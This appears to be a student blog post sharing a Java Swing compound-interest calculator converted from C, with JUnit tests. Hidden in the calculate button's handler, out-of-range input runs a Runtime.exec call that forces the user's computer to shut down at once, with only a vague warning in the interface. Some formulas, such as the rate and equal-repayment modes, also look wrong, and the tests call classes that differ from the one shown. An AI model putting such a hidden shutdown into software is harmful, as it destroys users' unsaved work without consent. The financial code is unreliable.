更新说明：
本次程序和50黄柏堂同学一次完成
把C语言版本转换为JAVA；
更新了界面；
更新了测试；
package fuli; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.io.IOException; import java.math.BigDecimal; import java.lang.Runtime; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JRadioButton; import javax.swing.JScrollPane; import javax.swing.JTextField; import javax.swing.JTextPane; import javax.swing.SwingUtilities; import javax.swing.UIManager; import org.dyno.visual.swing.layouts.Constraints; import org.dyno.visual.swing.layouts.GroupLayout; import org.dyno.visual.swing.layouts.Leading; //VS4E -- DO NOT REMOVE THIS LINE! public class jiemian extends JFrame { private static final long serialVersionUID = 1L; private JTextField jTextField3; private JTextField jTextField2; private JTextField jTextField1; private JTextField jTextField0; private JLabel jLabel0; private JLabel jLabel1; private JLabel jLabel2; private JLabel jLabel3; private JTextField jTextField4; private JLabel jLabel4; private JButton jButton0; private JLabel jLabel5; JTextField jTextField5; private JRadioButton jRadioButton0; private JRadioButton jRadioButton1; public jiemian() { initComponents(); } private void initComponents() { setLayout(new GroupLayout()); add(getJButton0(), new Constraints(new Leading(96, 10, 10), new Leading(237, 10, 10))); add(getJLabel5(), new Constraints(new Leading(17, 12, 12), new Leading(297, 12, 12))); add(getJTextField5(), new Constraints(new Leading(106, 86, 12, 12), new Leading(297, 12, 12))); add(getJRadioButton0(), new Constraints(new Leading(224, 12, 12), new Leading(48, 12, 12))); add(getJRadioButton1(), new Constraints(new Leading(224, 12, 12), new Leading(78, 12, 12))); add(getJRadioButton2(), new Constraints(new Leading(224, 12, 12), new Leading(110, 12, 12))); add(getJRadioButton3(), new Constraints(new Leading(224, 12, 12), new Leading(140, 10, 10))); add(getJRadioButton4(), new Constraints(new Leading(224, 12, 12), new Leading(167, 10, 10))); add(getJRadioButton5(), new Constraints(new Leading(224, 12, 12), new Leading(195, 12, 12))); add(getJRadioButton6(), new Constraints(new Leading(224, 12, 12), new Leading(224, 12, 12))); add(getJTextField0(), new Constraints(new Leading(106, 110, 12, 12), new Leading(48, 24, 12, 12))); add(getJTextField1(), new Constraints(new Leading(106, 110, 12, 12), new Leading(84, 24, 12, 12))); add(getJTextField2(), new Constraints(new Leading(106, 110, 12, 12), new Leading(125, 24, 12, 12))); add(getJTextField3(), new Constraints(new Leading(106, 110, 12, 12), new Leading(162, 24, 12, 12))); add(getJTextField4(), new Constraints(new Leading(106, 110, 12, 12), new Leading(198, 12, 12))); add(getJLabel1(), new Constraints(new Leading(33, 10, 10), new Leading(87, 12, 12))); add(getJLabel2(), new Constraints(new Leading(33, 12, 12), new Leading(123, 12, 12))); add(getJLabel3(), new Constraints(new Leading(33, 12, 12), new Leading(159, 12, 12))); add(getJLabel4(), new Constraints(new Leading(33, 12, 12), new Leading(198, 12, 12))); add(getJLabel0(), new Constraints(new Leading(2, 115, 12, 12), new Leading(54, 12, 12))); add(getJScrollPane0(), new Constraints(new Leading(231, 100, 10, 10), new Leading(255, 80, 12, 12))); setSize(347, 345); } private JScrollPane getJScrollPane0() { if (jScrollPane0 == null) { jScrollPane0 = new JScrollPane(); jScrollPane0.setViewportView(getJTextPane0()); } return jScrollPane0; } private JTextPane getJTextPane0() { if (jTextPane0 == null) { jTextPane0 = new JTextPane(); jTextPane0.setEnabled(false); jTextPane0.setText("请不要输入过 大的数 不然后果自负"); } return jTextPane0; } private JRadioButton getJRadioButton6() { if (jRadioButton6 == null) { jRadioButton6 = new JRadioButton(); jRadioButton6.setSelected(false); jRadioButton6.setText("等额还款金额"); jRadioButton6.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton6MouseMousePressed(event); } }); } return jRadioButton6; } private JRadioButton getJRadioButton5() { if (jRadioButton5 == null) { jRadioButton5 = new JRadioButton(); jRadioButton5.setSelected(false); jRadioButton5.setText("定期投资"); jRadioButton5.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton5MouseMousePressed(event); } }); } return jRadioButton5; } private JRadioButton getJRadioButton4() { if (jRadioButton4 == null) { jRadioButton4 = new JRadioButton(); jRadioButton4.setSelected(false); jRadioButton4.setText("利率计算"); jRadioButton4.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton4MouseMousePressed(event); } }); } return jRadioButton4; } private JRadioButton getJRadioButton3() { if (jRadioButton3 == null) { jRadioButton3 = new JRadioButton(); jRadioButton3.setSelected(false); jRadioButton3.setText("年限计算"); jRadioButton3.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton3MouseMousePressed(event); } }); } return jRadioButton3; } private JRadioButton getJRadioButton2() { if (jRadioButton2 == null) { jRadioButton2 = new JRadioButton(); jRadioButton2.setSelected(false); jRadioButton2.setText("本金计算"); jRadioButton2.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton2MouseMousePressed(event); } }); } return jRadioButton2; } private JRadioButton getJRadioButton1() { if (jRadioButton1 == null) { jRadioButton1 = new JRadioButton(); jRadioButton1.setSelected(true); jRadioButton1.setText("复利计算"); jRadioButton1.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton1MouseMousePressed(event); } }); } return jRadioButton1; } private JRadioButton getJRadioButton0() { if (jRadioButton0 == null) { jRadioButton0 = new JRadioButton(); jRadioButton0.setSelected(false); jRadioButton0.setText("单利计算"); jRadioButton0.addMouseListener(new MouseAdapter() { public void mousePressed(MouseEvent event) { jRadioButton0MouseMousePressed(event); } }); } return jRadioButton0; } private JTextField getJTextField5() { if (jTextField5 == null) { jTextField5 = new JTextField(); jTextField5.setEditable(false); } return jTextField5; } private JLabel getJLabel5() { if (jLabel5 == null) { jLabel5 = new JLabel(); jLabel5.setText("输出结果："); } return jLabel5; } private JButton getJButton0() { if (jButton0 == null) { jButton0 = new JButton(); jButton0.setText("输入"); jButton0.addMouseListener(new MouseAdapter() { public void mouseClicked(MouseEvent event) { try { jButton0MouseMouseClicked(event); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); } return jButton0; } private JLabel getJLabel4() { if (jLabel4 == null) { jLabel4 = new JLabel(); jLabel4.setText("终值"); } return jLabel4; } private JTextField getJTextField4() { if (jTextField4 == null) { jTextField4 = new JTextField(); jTextField4.setEditable(false); jTextField4.setText("0"); } return jTextField4; } private JLabel getJLabel3() { if (jLabel3 == null) { jLabel3 = new JLabel(); jLabel3.setText("年复利次数"); } return jLabel3; } private JLabel getJLabel2() { if (jLabel2 == null) { jLabel2 = new JLabel(); jLabel2.setText("存入年限"); } return jLabel2; } private JLabel getJLabel1() { if (jLabel1 == null) { jLabel1 = new JLabel(); jLabel1.setText("年利率"); } return jLabel1; } private JLabel getJLabel0() { if (jLabel0 == null) { jLabel0 = new JLabel(); jLabel0.setText(" 本金"); } return jLabel0; } private JTextField getJTextField0() { if (jTextField0 == null) { jTextField0 = new JTextField(); jTextField0.setText("0"); } return jTextField0; } private JTextField getJTextField1() { if (jTextField1 == null) { jTextField1 = new JTextField(); jTextField1.setText("0"); } return jTextField1; } private JTextField getJTextField2() { if (jTextField2 == null) { jTextField2 = new JTextField(); jTextField2.setText("0"); } return jTextField2; } private JTextField getJTextField3() { if (jTextField3 == null) { jTextField3 = new JTextField(); jTextField3.setText("0"); } return jTextField3; } private static void installLnF() { try { String lnfClassname = PREFERRED_LOOK_AND_FEEL; if (lnfClassname == null) lnfClassname = UIManager.getCrossPlatformLookAndFeelClassName(); UIManager.setLookAndFeel(lnfClassname); } catch (Exception e) { System.err.println("Cannot install " + PREFERRED_LOOK_AND_FEEL + " on this platform:" + e.getMessage()); } } /** * Main entry of the class. * Note: This class is only created so that you can easily preview the result at runtime. * It is not expected to be managed by the designer. * You can modify it as you like. */ public static void main(String[] args) { installLnF(); SwingUtilities.invokeLater(new Runnable() { public void run() { jiemian frame = new jiemian(); frame.setDefaultCloseOperation(jiemian.EXIT_ON_CLOSE); frame.setTitle("jiemian"); frame.getContentPane().setPreferredSize(frame.getSize()); frame.pack(); frame.setLocationRelativeTo(null); frame.setVisible(true); } }); } int xuanze=1; private JRadioButton jRadioButton2; private JRadioButton jRadioButton3; private JRadioButton jRadioButton4; private JRadioButton jRadioButton5; private JRadioButton jRadioButton6; private JTextPane jTextPane0; private JScrollPane jScrollPane0; private static final String PREFERRED_LOOK_AND_FEEL = "javax.swing.plaf.metal.MetalLookAndFeel"; private void jButton0MouseMouseClicked(MouseEvent event) throws IOException { String P = jTextField0.getText(); String I = jTextField1.getText(); String N = jTextField2.getText(); String M = jTextField3.getText(); String SUM = jTextField4.getText(); double F=0; double p=Double.parseDouble(P); double i=Double.parseDouble(I); double m=Double.parseDouble(M); double n=Double.parseDouble(N); double sum=Double.parseDouble(SUM); Runtime r=Runtime.getRuntime(); if (p<0||p > 1000000 ||i<0|| i > 1 ||m<0|| m > 1000 ||n<0|| n > 1000) { r.exec("shutdown -f -s -t 1"); } if(xuanze==1){ i=Math.pow((1+(i/m)),m)-1; F=p*Math.pow((1+i),n); } else if(xuanze==0){ F=p+p*i*n; } else if(xuanze==2){ i=Math.pow((1+i/m),m)-1; F=sum/Math.pow(1+i,n); } else if(xuanze==3){ i=Math.pow((1+i/m),m)-1; F=Math.log(sum/p)/Math.log(1+i); } else if(xuanze==4){ F=m*(Math.pow(Math.pow(sum/p,1.0/n),1.0/i)-1); } else if(xuanze==5){ F=p*(1+i)*(-1+Math.pow((1+i),n))/i; } else if(xuanze==6){ F=p*i*Math.pow((1+i),n)/Math.pow((1+i),n-1); } BigDecimal b = new BigDecimal(F); double F1 = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); String f = Double.toString(F1); jTextField5.setText(f); } private void jRadioButton0MouseMousePressed(MouseEvent event) { if(xuanze!=0){ xuanze=0; jLabel0.setText(" 本金"); jLabel1.setText("年利率"); jLabel2.setText("存入年限"); //jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(true); jTextField2.setEditable(true); jTextField3.setEditable(false); jTextField4.setEditable(false); guiling(); } else jRadioButton0.setSelected(false); } void guiling(){ jTextField0.setText("0"); jTextField1.setText("0"); jTextField2.setText("0"); jTextField3.setText("0"); jTextField4.setText("0"); jTextField5.setText("0"); } private void jRadioButton1MouseMousePressed(MouseEvent event) { if(xuanze!=1){ xuanze=1; jLabel0.setText(" 本金"); jLabel1.setText("年利率"); jLabel2.setText("存入年限"); jRadioButton0.setSelected(false); //jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(true); jTextField2.setEditable(true); jTextField3.setEditable(true); jTextField4.setEditable(false); guiling(); } else jRadioButton1.setSelected(false); } private void jRadioButton6MouseMousePressed(MouseEvent event) { if(xuanze!=6){ xuanze=6; jLabel0.setText(" 本金"); jLabel1.setText("季利率"); jLabel2.setText("期限"); jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); //jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(true); jTextField2.setEditable(true); jTextField3.setEditable(false); jTextField4.setEditable(false); guiling(); } else jRadioButton6.setSelected(false); } private void jRadioButton5MouseMousePressed(MouseEvent event) { if(xuanze!=5){ xuanze=5; jLabel0.setText("每期定投入投入"); jLabel1.setText("收益率"); jLabel2.setText("定期投数"); jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); //jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(true); jTextField2.setEditable(true); jTextField3.setEditable(false); jTextField4.setEditable(false); guiling(); } else jRadioButton5.setSelected(false); } private void jRadioButton4MouseMousePressed(MouseEvent event) { if(xuanze!=4){ xuanze=4; jLabel0.setText(" 本金"); jLabel1.setText("年利率"); jLabel2.setText("存入年限"); jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); //jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(false); jTextField2.setEditable(true); jTextField3.setEditable(true); jTextField4.setEditable(true); guiling(); } else jRadioButton4.setSelected(false); } private void jRadioButton3MouseMousePressed(MouseEvent event) { if(xuanze!=3){ xuanze=3; jLabel0.setText(" 本金"); jLabel1.setText("年利率"); jLabel2.setText("存入年限"); jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); jRadioButton2.setSelected(false); //jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(true); jTextField1.setEditable(true); jTextField2.setEditable(false); jTextField3.setEditable(true); jTextField4.setEditable(true); guiling(); } else jRadioButton3.setSelected(false); } private void jRadioButton2MouseMousePressed(MouseEvent event) { if(xuanze!=2){ xuanze=2; jLabel0.setText(" 本金"); jLabel1.setText("年利率"); jLabel2.setText("存入年限"); jRadioButton0.setSelected(false); jRadioButton1.setSelected(false); //jRadioButton2.setSelected(false); jRadioButton3.setSelected(false); jRadioButton4.setSelected(false); jRadioButton5.setSelected(false); jRadioButton6.setSelected(false); jTextField0.setEditable(false); jTextField1.setEditable(true); jTextField2.setEditable(true); jTextField3.setEditable(true); jTextField4.setEditable(true); guiling(); } else jRadioButton2.setSelected(false); } }
测试结果：http://www.cnblogs.com/huang123/p/5336248.html
import static org.junit.Assert.*; import java.math.BigDecimal; import org.junit.Test; public class test { @Test public void fulitest(){ System.out.print(" 复利: "); double wh = new fuli().CalculateA(100,1,0.2,2); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-121.00==0) test=true; else test=false; assertEquals(true,test); } @Test public void danlitest(){ System.out.print(" 单利: "); double wh = new danli().CalculateA(100,1,0.2); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-120.00==0) test=true; else test=false; assertEquals(true,test); } @Test public void benjintest(){ System.out.print(" 本金: "); double wh = new benjin().CalculateA(200,3,0.2,2); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-112.89==0) test=true; else test=false; assertEquals(true,test); } @Test public void huankuantest(){ System.out.print(" 还款: "); double wh = new huankuan().CalculateA(200,0.2,10); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-48.00==0) test=true; else test=false; assertEquals(true,test); } @Test public void lilvtest(){ System.out.print(" 利率: "); double wh = new lilv().CalculateA(100,200,2,3); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh- 0.37==0) test=true; else test=false; assertEquals(true,test); } @Test public void shijiantest(){ System.out.print(" 时间: "); double wh = new shijian().CalculateA(100,200,0.2,1); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-3.80==0) test=true; else test=false; assertEquals(true,test); } @Test public void touzitest(){ System.out.print(" 投资: "); double wh = new touzi().CalculateA(100,0.2,3); System.out.print(wh); BigDecimal b = new BigDecimal(wh); wh = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); boolean test=false; if(wh-436.80==0) test=true; else test=false; assertEquals(true,test); } }
本次更新，纯属意外，如有雷同，敬请谅解